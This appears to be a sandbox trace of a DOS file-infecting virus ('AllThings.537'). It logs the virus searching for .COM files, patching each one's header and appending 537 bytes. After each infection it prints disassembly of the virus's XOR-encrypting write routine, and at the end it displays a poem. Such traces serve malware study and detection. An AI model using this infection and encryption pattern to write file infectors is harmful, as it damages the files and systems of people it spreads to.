Sample viewer

vx.netlux.org/Virus.DOS.VCC.AllThings.537

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:04:44.912712838Z 26 PC: 12a64 | Set disk transfer address
2018-12-17T22:04:44.914167332Z 78 PC: 12a78 | Find first file
2018-12-17T22:04:44.920406335Z 61 PC: 12bed | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:04:44.927357203Z 63 PC: 12bfc | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:04:44.933693693Z 66 PC: 12c0b | Move file pointer
2018-12-17T22:04:44.935401342Z 66 PC: 12c1a | Move file pointer
2018-12-17T22:04:44.936731015Z 64 PC: 12c26 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:04:44.939877903Z 66 PC: 12c32 | Move file pointer
2018-12-17T22:04:44.941936915Z 44 PC: 12c36 | Get time 0x12c36: mov byte ptr [bp + 0x219], dl
0x12c3a: call 0x12c50
0x12c3d: mov ah, 0x40
0x12c3f: mov cx, 0x219
0x12c42: lea dx, word ptr [bp + 6]
0x12c46: int 0x21
0x12c48: call 0x12c50
0x12c4b: mov ah, 0x3e
0x12c4d: int 0x21
0x12c4f: ret
0x12c50: lea si, word ptr [bp + 0x11]
0x12c54: mov cx, 0x1e9
0x12c57: xor byte ptr [si], 0
0x12c5a: inc si
0x12c5b: dec cx
0x12c5c: jne 0x12c57
0x12c5e: ret
0x12c5f: add word ptr [bx], di
0x12c61: aas
0x12c62: aas
2018-12-17T22:04:44.944191389Z 64 PC: 12c48 | Write file or device (Write 537 bytes on handle 5)
2018-12-17T22:04:44.95893551Z 62 PC: 12c4f | Close file
2018-12-17T22:04:44.967192386Z 79 PC: 12a78 | Find next file
2018-12-17T22:04:44.969736623Z 61 PC: 12bed | Open file (Filename = 'PRINT.COM')
2018-12-17T22:04:44.976022851Z 63 PC: 12bfc | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:04:44.983756887Z 66 PC: 12c0b | Move file pointer
2018-12-17T22:04:44.985134989Z 66 PC: 12c1a | Move file pointer
2018-12-17T22:04:44.986472139Z 64 PC: 12c26 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:04:44.989482801Z 66 PC: 12c32 | Move file pointer
2018-12-17T22:04:44.990809186Z 44 PC: 12c36 | Get time 0x12c36: mov byte ptr [bp + 0x219], dl
0x12c3a: call 0x12c50
0x12c3d: mov ah, 0x40
0x12c3f: mov cx, 0x219
0x12c42: lea dx, word ptr [bp + 6]
0x12c46: int 0x21
0x12c48: call 0x12c50
0x12c4b: mov ah, 0x3e
0x12c4d: int 0x21
0x12c4f: ret
0x12c50: lea si, word ptr [bp + 0x11]
0x12c54: mov cx, 0x1e9
0x12c57: xor byte ptr [si], 0x3b
0x12c5a: inc si
0x12c5b: dec cx
0x12c5c: jne 0x12c57
0x12c5e: ret
0x12c5f: add word ptr [bx], di
0x12c61: aas
0x12c62: aas
2018-12-17T22:04:44.99296666Z 64 PC: 12c48 | Write file or device (Write 537 bytes on handle 5)
2018-12-17T22:04:45.001855095Z 62 PC: 12c4f | Close file
2018-12-17T22:04:45.010277908Z 79 PC: 12a78 | Find next file
2018-12-17T22:04:45.012877734Z 61 PC: 12bed | Open file (Filename = 'HELLO.COM')
2018-12-17T22:04:45.020140893Z 63 PC: 12bfc | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:04:45.026243282Z 66 PC: 12c0b | Move file pointer
2018-12-17T22:04:45.027471769Z 66 PC: 12c1a | Move file pointer
2018-12-17T22:04:45.029263626Z 64 PC: 12c26 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:04:45.031503738Z 66 PC: 12c32 | Move file pointer
2018-12-17T22:04:45.032899664Z 44 PC: 12c36 | Get time 0x12c36: mov byte ptr [bp + 0x219], dl
0x12c3a: call 0x12c50
0x12c3d: mov ah, 0x40
0x12c3f: mov cx, 0x219
0x12c42: lea dx, word ptr [bp + 6]
0x12c46: int 0x21
0x12c48: call 0x12c50
0x12c4b: mov ah, 0x3e
0x12c4d: int 0x21
0x12c4f: ret
0x12c50: lea si, word ptr [bp + 0x11]
0x12c54: mov cx, 0x1e9
0x12c57: xor byte ptr [si], 0x41
0x12c5a: inc si
0x12c5b: dec cx
0x12c5c: jne 0x12c57
0x12c5e: ret
0x12c5f: add word ptr [bx], di
0x12c61: aas
0x12c62: aas
2018-12-17T22:04:45.035453315Z 64 PC: 12c48 | Write file or device (Write 537 bytes on handle 5)
2018-12-17T22:04:45.043848409Z 62 PC: 12c4f | Close file
2018-12-17T22:04:45.051722785Z 79 PC: 12a78 | Find next file
2018-12-17T22:04:45.054475444Z 61 PC: 12bed | Open file (Filename = 'PHANG.COM')
2018-12-17T22:04:45.061346151Z 63 PC: 12bfc | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:04:45.067864056Z 66 PC: 12c0b | Move file pointer
2018-12-17T22:04:45.069597178Z 66 PC: 12c1a | Move file pointer
2018-12-17T22:04:45.07189797Z 64 PC: 12c26 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:04:45.074439471Z 66 PC: 12c32 | Move file pointer
2018-12-17T22:04:45.075782259Z 44 PC: 12c36 | Get time 0x12c36: mov byte ptr [bp + 0x219], dl
0x12c3a: call 0x12c50
0x12c3d: mov ah, 0x40
0x12c3f: mov cx, 0x219
0x12c42: lea dx, word ptr [bp + 6]
0x12c46: int 0x21
0x12c48: call 0x12c50
0x12c4b: mov ah, 0x3e
0x12c4d: int 0x21
0x12c4f: ret
0x12c50: lea si, word ptr [bp + 0x11]
0x12c54: mov cx, 0x1e9
0x12c57: xor byte ptr [si], 0x46
0x12c5a: inc si
0x12c5b: dec cx
0x12c5c: jne 0x12c57
0x12c5e: ret
0x12c5f: add word ptr [bx], di
0x12c61: aas
0x12c62: aas
2018-12-17T22:04:45.090069483Z 64 PC: 12c48 | Write file or device (Write 537 bytes on handle 5)
2018-12-17T22:04:45.095507094Z 62 PC: 12c4f | Close file
2018-12-17T22:04:45.100541274Z 79 PC: 12a78 | Find next file
2018-12-17T22:04:45.103723277Z 61 PC: 12bed | Open file (Filename = 'PRINTA~1.COM')
2018-12-17T22:04:45.10811203Z 63 PC: 12bfc | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:04:45.113167115Z 66 PC: 12c0b | Move file pointer
2018-12-17T22:04:45.114885445Z 66 PC: 12c1a | Move file pointer
2018-12-17T22:04:45.115936683Z 64 PC: 12c26 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:04:45.117787843Z 66 PC: 12c32 | Move file pointer
2018-12-17T22:04:45.119657546Z 44 PC: 12c36 | Get time 0x12c36: mov byte ptr [bp + 0x219], dl
0x12c3a: call 0x12c50
0x12c3d: mov ah, 0x40
0x12c3f: mov cx, 0x219
0x12c42: lea dx, word ptr [bp + 6]
0x12c46: int 0x21
0x12c48: call 0x12c50
0x12c4b: mov ah, 0x3e
0x12c4d: int 0x21
0x12c4f: ret
0x12c50: lea si, word ptr [bp + 0x11]
0x12c54: mov cx, 0x1e9
0x12c57: xor byte ptr [si], 0x46
0x12c5a: inc si
0x12c5b: dec cx
0x12c5c: jne 0x12c57
0x12c5e: ret
0x12c5f: add word ptr [bx], di
0x12c61: aas
0x12c62: aas
2018-12-17T22:04:45.121908567Z 64 PC: 12c48 | Write file or device (Write 537 bytes on handle 5)
2018-12-17T22:04:45.129785423Z 62 PC: 12c4f | Close file
2018-12-17T22:04:45.138207757Z 79 PC: 12a78 | Find next file
2018-12-17T22:04:45.141291317Z 61 PC: 12bed | Open file (Filename = 'MANDEL.COM')
2018-12-17T22:04:45.147663068Z 63 PC: 12bfc | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:04:45.154600139Z 66 PC: 12c0b | Move file pointer
2018-12-17T22:04:45.156057288Z 66 PC: 12c1a | Move file pointer
2018-12-17T22:04:45.157460258Z 64 PC: 12c26 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:04:45.16120189Z 66 PC: 12c32 | Move file pointer
2018-12-17T22:04:45.162733702Z 44 PC: 12c36 | Get time 0x12c36: mov byte ptr [bp + 0x219], dl
0x12c3a: call 0x12c50
0x12c3d: mov ah, 0x40
0x12c3f: mov cx, 0x219
0x12c42: lea dx, word ptr [bp + 6]
0x12c46: int 0x21
0x12c48: call 0x12c50
0x12c4b: mov ah, 0x3e
0x12c4d: int 0x21
0x12c4f: ret
0x12c50: lea si, word ptr [bp + 0x11]
0x12c54: mov cx, 0x1e9
0x12c57: xor byte ptr [si], 0x4c
0x12c5a: inc si
0x12c5b: dec cx
0x12c5c: jne 0x12c57
0x12c5e: ret
0x12c5f: add word ptr [bx], di
0x12c61: aas
0x12c62: aas
2018-12-17T22:04:45.164994429Z 64 PC: 12c48 | Write file or device (Write 537 bytes on handle 5)
2018-12-17T22:04:45.176590805Z 62 PC: 12c4f | Close file
2018-12-17T22:04:45.184878421Z 79 PC: 12a78 | Find next file
2018-12-17T22:04:45.187415965Z 61 PC: 12bed | Open file (Filename = 'PAH.COM')
2018-12-17T22:04:45.194251287Z 63 PC: 12bfc | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:04:45.20030393Z 66 PC: 12c0b | Move file pointer
2018-12-17T22:04:45.201722813Z 66 PC: 12c1a | Move file pointer
2018-12-17T22:04:45.203657435Z 64 PC: 12c26 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:04:45.206248802Z 66 PC: 12c32 | Move file pointer
2018-12-17T22:04:45.207481182Z 44 PC: 12c36 | Get time 0x12c36: mov byte ptr [bp + 0x219], dl
0x12c3a: call 0x12c50
0x12c3d: mov ah, 0x40
0x12c3f: mov cx, 0x219
0x12c42: lea dx, word ptr [bp + 6]
0x12c46: int 0x21
0x12c48: call 0x12c50
0x12c4b: mov ah, 0x3e
0x12c4d: int 0x21
0x12c4f: ret
0x12c50: lea si, word ptr [bp + 0x11]
0x12c54: mov cx, 0x1e9
0x12c57: xor byte ptr [si], 0x4c
0x12c5a: inc si
0x12c5b: dec cx
0x12c5c: jne 0x12c57
0x12c5e: ret
0x12c5f: add word ptr [bx], di
0x12c61: aas
0x12c62: aas
2018-12-17T22:04:45.210216297Z 64 PC: 12c48 | Write file or device (Write 537 bytes on handle 5)
2018-12-17T22:04:45.508641548Z 62 PC: 12c4f | Close file
2018-12-17T22:04:45.744724037Z 79 PC: 12a78 | Find next file
2018-12-17T22:04:45.747840082Z 61 PC: 12bed | Open file (Filename = 'TEST.COM')
2018-12-17T22:04:45.754221357Z 63 PC: 12bfc | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:04:45.756598511Z 62 PC: 12c4f | Close file
2018-12-17T22:04:45.759596498Z 79 PC: 12a78 | Find next file
2018-12-17T22:04:45.761935264Z 26 PC: 12a88 | Set disk transfer address
2018-12-17T22:04:45.763260429Z 9 PC: 12aa6 | Display string (String= ' When I was young I had not given a penny for song Did not the poet sing it with such airs That one believed he had a sword upstairs All Things can Tempt me, by W.B. Yeats ')